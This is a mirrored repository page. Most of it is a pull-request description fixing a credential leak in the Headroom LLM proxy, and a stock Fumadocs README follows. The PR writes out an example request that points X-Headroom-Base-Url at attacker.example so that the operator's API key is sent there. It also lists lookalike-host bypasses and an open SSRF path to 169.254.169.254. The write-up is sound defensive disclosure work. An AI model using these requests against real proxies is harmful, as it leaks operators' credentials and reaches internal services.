mirror of
https://github.com/headroomlabs-ai/headroom.git
synced 2026-08-27 14:17:10 -04:00
## Description `x-headroom-base-url` lets a client choose the upstream for a single request — a deliberate, documented feature for routing to OpenAI-compatible gateways. `*_extra_headers` is operator-configured, marked `secret=True` in the settings store, and its own help text uses an API key as the example value. The two met in the wrong order: ``` openai.py:3127 headers = merge_extra_headers(headers, self.config.openai_extra_headers) openai.py:3134 upstream_base_url = _resolve_openai_upstream_base(request.headers) ``` The secret was merged **before** the destination was resolved. So: ``` POST /v1/messages X-Headroom-Base-Url: https://attacker.example ``` reached the attacker's host **carrying the operator's gateway key**. One request, no user interaction, from anything able to reach the proxy port — a malicious postinstall script, a compromised transitive dep, a second agent session. Same shape on the Anthropic Messages route (`anthropic.py:1091`) and on `/v1/responses` (`openai.py:5120`, whose override resolves 300 lines later at `:5420`). Without `*_extra_headers` configured the same primitive is still a plain SSRF, but that is the pre-existing behavior of a documented feature; **this PR fixes the credential leak, not the routing.** ## Type of Change - [x] Bug fix (non-breaking change that fixes an issue) ## Changes Made - **`headroom/proxy/upstream_trust.py`** (new) — the policy. A secret only travels to a host the operator designated: one of the resolved provider API targets, or a host in `HEADROOM_UPSTREAM_ALLOWED_HOSTS`. This is the rule `copilot_auth.is_copilot_upstream_url` already applies to Headroom's own Copilot token, generalized. - **`merge_extra_headers` now takes a required keyword-only `upstream_url`.** This is the actual fix. An optional parameter would have closed three call sites and left the tenth forwarder free to reintroduce the bug; a required one means a forwarder *cannot merge a secret without declaring where it goes*. All nine call sites updated — the three client-controllable ones pass the resolved override, the six config-derived ones pass `None`. - Undesignated upstreams are **still proxied**, just without the secret, and the refusal logs once per host (not per request) with the remedy in the message. - Docs updated in `configuration.mdx` and `pipeline-extensions.mdx`. Matching is on the parsed hostname, never the URL string. Whole-string comparison lets `https://api.anthropic.com@evil.example` through, and makes a base URL match while base+path does not — that exact asymmetry is how a gate ends up covering routing but not the credential attach. Exact hostname equality, no wildcards. ## Testing - [x] Unit tests pass (`pytest`) - [x] Integration tests pass - [x] Manual testing performed ### Test Output ```text tests/test_upstream_credential_scoping.py 15 passed (new) Regression sweep (-k "proxy or header or copilot or codex or anthropic or openai or upstream"): 3340 passed, 163 skipped, 1 failed in 164.56s The single failure is tests/test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline ("assert 'Bash' in {'exec', 'followup_task', ...}"). Verified pre-existing: it fails identically on a clean origin/main worktree. ruff check: All checks passed ruff format --check: 7 files already formatted mypy headroom/proxy/upstream_trust.py: Success, no issues found ``` ## Real Behavior Proof - Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off `main`, `_core.abi3.so` copied in so the extension imports. - Exact command / steps: built the exploit as an end-to-end test — a `TestClient` app with `anthropic_extra_headers={"Api-Key": "corp-gateway-secret"}` and a capturing transport, then `POST /v1/messages` with `X-Headroom-Base-Url: https://attacker.example`, asserting on the headers the transport actually received. **Then disabled only the new gate (leaving the signature intact) to confirm the test reproduces the original vulnerability.** - Observed result: with the gate disabled the test fails with the secret visibly on the wire — ``` AssertionError: assert 'api-key' not in {..., 'api-key': 'corp-gateway-secret', ...} ``` With the gate restored, 15/15 pass. The companion test asserts the request still reached `attacker.example` and still carried the *client's* own `x-api-key`, so the fix withholds the operator's credential without breaking the routing feature or the client's auth. Lookalike hosts (`api.anthropic.com@evil.example`, `api.anthropic.com.evil.example`, scheme-less values, `://`) are covered by parametrized cases. - Not tested: no live upstream was contacted — all uses a capturing `httpx` transport. The WebSocket forwarders (`openai.py:6606`, `codex/live.py:131`) pass `upstream_url=None` because their destination is config-derived; that classification is verified by reading the callers (`_api_target(proxy, "openai")`, `codex_responses_websocket_url()`), not by a test. ## Runtime Rollout Safety - Rollout-managed feature(s): None. - Minimum rollout channel: n/a - Stable/default behavior changed: **Yes, deliberately.** If an operator today configures `*_extra_headers` *and* routes via `x-headroom-base-url` to a host that is not a configured provider target, those headers stop being sent. That is the vulnerability, so the change is the point — but it is a real behavior change for that setup, which is why the log line names the host and the env var to fix it. - Kill switch / disable path: `HEADROOM_UPSTREAM_ALLOWED_HOSTS=<host>` restores delivery for a named host. There is deliberately no global "off". - Unsafe override required: No. - Qualification impact: None. - Rollback path: Revert the commit. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review ## Additional Notes Found during the same audit, **not fixed here** — each wants its own change: - **The plain SSRF remains by design.** With no `*_extra_headers` configured, a client can still make the proxy issue an arbitrary request to an arbitrary host (cloud metadata at `169.254.169.254`, internal admin panels) and read the response. Closing that means either an opt-in requirement for the header or private-IP blocking, and private-IP blocking would break the common local-gateway setup (LiteLLM on `127.0.0.1`). Worth a deliberate decision rather than a silent change here. - **CORS is the only thing keeping this off the web.** `x-headroom-base-url` is a non-simple header so it forces a preflight, and the default origin regex is loopback-only. Setting `HEADROOM_CORS_ORIGINS=*` would make the above reachable from any web page. - The `/v1/*` data plane has no authentication for loopback callers even when `HEADROOM_PROXY_TOKEN` is set (`server.py:3368` exempts loopback), so "any local process" is the realistic attacker for all of the above. Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local> |
||
|---|---|---|
| .. | ||
| app | ||
| components | ||
| content/docs | ||
| lib | ||
| overrides | ||
| screenshots | ||
| .gitignore | ||
| bun.lock | ||
| claude-code-bedrock-headroom.md | ||
| context-mode-integration-analysis.md | ||
| next.config.mjs | ||
| observability.md | ||
| package-lock.json | ||
| package.json | ||
| platform-feature-matrix.json | ||
| platform-stabilization.md | ||
| postcss.config.mjs | ||
| proxy.ts | ||
| README.md | ||
| source.config.ts | ||
| tsconfig.json | ||
| vercel.json | ||
docs
This is a Next.js application generated with Create Fumadocs.
Run development server:
npm run dev
# or
pnpm dev
# or
yarn dev
Open http://localhost:3000 with your browser to see the result.
Explore
In the project, you can see:
lib/source.ts: Code for content source adapter,loader()provides the interface to access your content.lib/layout.shared.tsx: Shared options for layouts, optional but preferred to keep.
| Route | Description |
|---|---|
app/(home) |
The route group for your landing page and other pages. |
app/docs |
The documentation layout and pages. |
app/api/search/route.ts |
The Route Handler for search. |
Fumadocs MDX
A source.config.ts config file has been included, you can customise different options like frontmatter schema.
Read the Introduction for further details.
Learn More
To learn more about Next.js and Fumadocs, take a look at the following resources:
- Next.js Documentation - learn about Next.js features and API.
- Learn Next.js - an interactive Next.js tutorial.
- Fumadocs - learn about Fumadocs